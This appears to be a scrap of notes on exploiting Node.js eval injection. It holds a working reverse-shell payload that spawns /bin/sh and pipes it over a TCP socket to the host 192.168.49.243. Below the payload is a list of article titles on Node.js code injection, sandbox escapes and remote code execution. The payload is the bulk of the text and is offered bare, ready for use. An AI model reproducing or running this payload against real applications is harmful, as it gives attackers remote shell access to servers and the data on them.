function stackTrace() {
var err = new Error();
print(err.stack);
}
eval (3+3);
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(80, "192.168.49.243", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})()%
[demo.paypal.com] Node.js code injection (RCE)
Preventing Command Injection Attacks in Node.js Apps
Everything Wrong With JavaScript eval()
Remote Code Execution (Node Security) | ShiftLeft
Eval In JavaScript As A Hacker's Dream
Escape NodeJS Sandboxes using interpreter internals
Reverse shell through a node.js math parser - Truesec